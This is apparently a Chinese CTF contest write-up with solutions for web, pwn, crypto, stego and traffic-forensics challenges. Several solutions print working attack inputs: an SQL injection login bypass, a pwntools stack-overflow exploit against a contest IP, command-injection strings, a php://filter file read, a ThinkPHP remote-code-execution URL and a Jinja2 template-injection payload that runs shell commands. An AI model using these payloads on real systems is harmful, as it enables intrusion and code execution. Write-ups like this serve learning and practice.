ctrl + u 查看源码
点击进入js 文件,就能看到 flag 了
/?I_wanna_flag=I_wanna_f1ag
这样就能直接发送GET请求了
intval()函数可以获取变量的整数值,常被用来进行数据类型转换,将字符串类型的变量转换为为整数类型。所以我们令GET请求中的id的值为浮点数类型即可,比如 1024.1 这样,$_GET[‘id’] 的值便为 1024.1 ,id 的值便为 1024,执行代码后,就会执行道 echo $flag ,得到 flag
这里需要使用到burpsuite点击下载
Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。
具体使用方法见这里,不多赘述
下图是bp的抓包后的界面,黄线部分便是浏览器标识符,我们就是要修改这里
这里按照题目说的,利用 bp 抓包后修改浏览器标识符再放包(点击Forward)即可
在网页上便可看到flag
这道题随便注入,用户名填入 1 再点击登录即可
这是由于 登录验证代码 编写不严谨,可以被绕过
SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'
比如在上面这段SQL查询语句中,当填入的用户名为 1’ or 1=1 or ‘1’ = ‘1’ 时,SQL查询语句会被拼接成
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='xxxxxxxxx'
这样,就成了 false or true or false,返回 true
010editor下载链接
这里我是直接导入010editor
选择题目文件导入就可以看到ascii码
当然,也可以很简单的写个算法,C++或者是python都能很好地实现
python
with open('C:\\Users\\wind\\Desktop\\ascii', 'rb+') as file:
text = file.read()
text += b' '
w = 0
flag = ''
for i in text:
if i == 32: # 32 是空格的 ascii 码
flag += chr(w)
w = 0
else:
w = w * 2 + (i - 48)
print(flag)
C++
#include
using namespace std;
string flag;
string text("01100110 01101100 01100001 01100111 01111011 01100101 01100001 01110011 01111001 01011111 01100001 01110011 01100011 01101001 01101001 01111101");
int main()
{
text += ' ';
int w = 0;
for(int i = 0; i < text.size(); i++)
if(text[i] == ' ')
flag += w, w = 0;
else
w = w * 2 + (text[i] - '0');
cout<<flag<<endl;
return 0;
}
这道题,就是根据 base16、32、64 的顺序加密了一遍,解密即可,不过这里推荐一款工具
python 的 ciphey
这是一款使用自然语言处理和人工智能以及一些常识的全自动解密/解码/破解工具
python3 -m pip install -U ciphey
使用上面命令进行安装
python3 -m ciphey -f 文件路径
python3 -m ciphey -t 密文
就是读懂程序的加密算法,然后反着解密,这个没什么好说
import base64
flag_en = 'Z25ka8KAa2hbwoLigJ7igJ98wobCgndAf8KP'
flag = ''
flag_en = base64.b64decode(flag_en)
flag_en = flag_en.decode("utf-8")
for i in range(len(flag_en)):
flag = chr(ord(flag_en[i]) - i - 1)
print(flag)
#flag{eaSy——pyth0n}
在流0找到的, name = admina、pass = adminb
所以flag{adminaadminb}
将得到的文件丢进 kali
grep -r "flag" webshell
这个命令的功能是寻找webshell文件夹中所有文件中包含flag字符串的文本并打印(webshell文件夹在当前终端目录下)
这样就找到 flag 了
如果,这道题的flag不是flag{xxxx}的格式的话,可以用D盾把后门文件扫出来,然后一个个地看
把 icmp 协议过滤出来
查看每个流量中的 画横线位置 刚好可以组成 ctfhub{xxx} ,于是记录下来,拿到flag
拿道题目先看下是什么文件,还有保护措施
再利用IDA打开,静态分析发现明显的栈溢出
以及后门函数
可以知道,这道题就是pwn中最简单的 ret2text 了
接下来是构造payload,buffer距离 ebp 是 0x10 = 16 个字节,再加上 ebp = 4 个字节,所以要填充 20 个字节的无用数据才能覆盖到 ret
漏洞利用脚本如下
form pwn import *
p = remote('123.56.22.25', 10000)
elf = ELF('pwn1')
get_shell_addr = elf.symbols['get_shell']
payload = b'a'*20 + p32(get_shell_addr)
p.sendline(payload)
p.interactive()
尝试输入 ‘1’,发现是通过 ping + 输入的字符串 进行拼接后执行
所以,我们这么拼接
;find / -name "*flag*" # ';'起到了命令隔断作用
来查找到 flag 文件的位置
再利用 cat 来查看 flag
;cat /tmp/flag.txt
看下代码,发现要绕过两次
我们令 num2 = 1e9 ,以科学计数法的形式来绕过第一个if
再利用php中数组的md5返回值为 null 的特性,令 md5a[]=1,md5b[]=2,来绕过第二个if
简单的文件包含漏洞
构造以下payload,以base64编码读取 flag.php 文件的内容
/?path=php://filter/read=convert.base64-encode/resource=flag.php
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
flask漏洞
rom flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
这是Flask(Jinja2) 服务端模板注入漏洞(SSTI),漏洞模板py代码的执行结果和网页的基本一致
可以在这边文章找到payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
于是尝试用以下payload打下
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
成功远程执行命令
修改下payload,在 /tmp/ 下找到了 flag.txt
远程执行命令,拿到flag
具体漏洞原理见链接
刚开始用 ciphey 和 basecrack ,但是一直解不出来,只能手工解题了
套了20层的一道题,不过多出的是 base58,编码过长,在线base解密不能用,所以只能用python,刚好python库函数也方便
确定是base58是因为有段编码 16、32、64都不能解码,用 basecrack 确定的是 base58,当然,也可以用肉眼观察法,看编码特征
以下是解码脚本
import base58
import base64
with open('C:\\Users\\wind\\Desktop\\base.txt', 'r') as file:
text = file.read()
text = base64.b16decode(text)
text = base64.b64decode(text)
text = base64.b64decode(text)
text = base64.b16decode(text)
text = base58.b58decode(text)
text = base64.b64decode(text)
text = base58.b58decode(text)
text = base58.b58decode(text)
text = base64.b32decode(text)
text = base58.b58decode(text)
text = base64.b64decode(text)
text = base64.b64decode(text)
text = base64.b16decode(text)
text = base58.b58decode(text)
text = base64.b16decode(text)
text = base64.b64decode(text)
text = base64.b32decode(text)
text = base64.b32decode(text)
text = base64.b32decode(text)
text = base58.b58decode(text)
print(text)
#flag{Base16/32/58/64_mix_circle}
明显需要利用RSA共模攻击
下面是数学证明
e1 * s1 + e2 * s2 = 1
m = (c1^s1 % n * c2^s2 % n) % n
推导:
m = m % n
m = m1 % n
m = m^(e1s1+e2s2) % n
m = (m^(e1s1) % n * m^(e2s1) % n) % n
m = (c1^s1 % n * c2^s2 % n) % n
这个RSA共模攻击模板脚本
import gmpy2
import libnum
n = 14645004198242958702684656698142277769755504392789471439614672923899997896378049389751111717345474967847418848679714659963802182880634680947538237819389357697589901991859016216906388689527291511002281361754488080658815999644978875560878457775133388616296292496233063189595924506231795183893892309303016156636100814304674069999264856485872761693780436656322638490307582687744500830671620222002027765891730730285164741570047345831642466535875308424251369563048302769824754859258248966911394121070173157533488793344597604671624655549657342282782909531209405869780698125628491720153185060619625588764919399559938792709647
c1 = 482039676806541489871149900340083338215622911212438517070057118189833694841231497750233544130723515302678329109420207576936295588498295759927102714005418032492688490648411127029755313648976402636890250124471802696017305494201665135333853665935388412647232064139093151896196592495046800397429781322372962127888387850390470016625682943122929452170373901654381211697207308458392523044047491209228775223413645704348266447220381457553122487370284688586302691850199506801118371274880024497213927610910683523967429411424593663833387497280907648781279284710655799959124927006425876170488842531209951472165865363044413421785
c2 = 5700832817172059676796332158665495032909755040295427980854478243355147337529217822270237485294154197017331068719577961418889231568221987525343802576159454553403852118919894514857171119361680688305918650397485593234584376509419276512710690058784968196916874825278267921867684819974939936939037572214495058459725790211123438576582084868138660676323428035120665380748088164536888308261799224341463386939314036722050872935254135097446773977908104925631570933986088397314391503480828243252341548651868141355721538721598383749638063102419943201249104201330704249656005213399059483498693276533017048089041637401662152528001
e1 = 65537
e2 = 13919
r, s1, s2 = gmpy2.gcdext(e1, e2)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(hex(m))
print(libnum.n2s(int(m)))
#flag{RSA_g0ngm0_attack}
这道题是隐写题,应该放在Misc的,而不是Crypto
大佬博客
如果只是单纯解码,会发现是关于网络安全的信息,没什么用
当知道是base64隐写后,网上找个脚本直接用就行
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res
def solve_stego():
with open('C:\\Users\\wind\\Desktop\\base64.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
print diff
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
print goflag(bin_str)
def goflag(bin_str):
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
return res_str
if __name__ == '__main__':
solve_stego()
得到一张 三明治 的图片
010editor 打开后,发现其中有一段 base32 编码
解码得到 flag
得到两个文件
在 kali 用 file 查看发现是 CDFV2 文件?
百度了以下,是 xml 格式的,所以修改成 1.ppt 打开
发现要密码
这里直接用ppt破解工具点击下载
密码是 9919
打开后得到
这个网站有对照表
既然是菜刀,那么重点观察 http,在 流9 中发现有个 zip 文件的传输
于是在 kali 中利用 foremost 命令提取该 zip
需要密码,经尝试,不是伪加密,也不能被简单地爆破
那么应该就要到流量包中找密码了
在 流7 中发现一段十六进制编码
用 010deitor 导入
发现是 jpg 文件
保存为jpg格式文件,打开,于是这就是压缩包的密码
打开压缩包
提示得很明显了
在流114发现了 EXIF 字段,exif隐写,应该就是图片的备注信息藏了flag
把它切换成原始数据形式,然后另存为 1.jpg
果然在属性中发现了flag,不过只有一半
这个流量包是有很多jpg文件的,猜测另一半flag会不会也是在图片备注中
于是搜索关键词 Exif ,在流十九中发现了一张也带有 Exif 的 jpg 文件
接着往下看,发现了 flag 的另外一半
这次校赛还是比较简单基础的,大部分题目都在buuctf上有,加油加油!。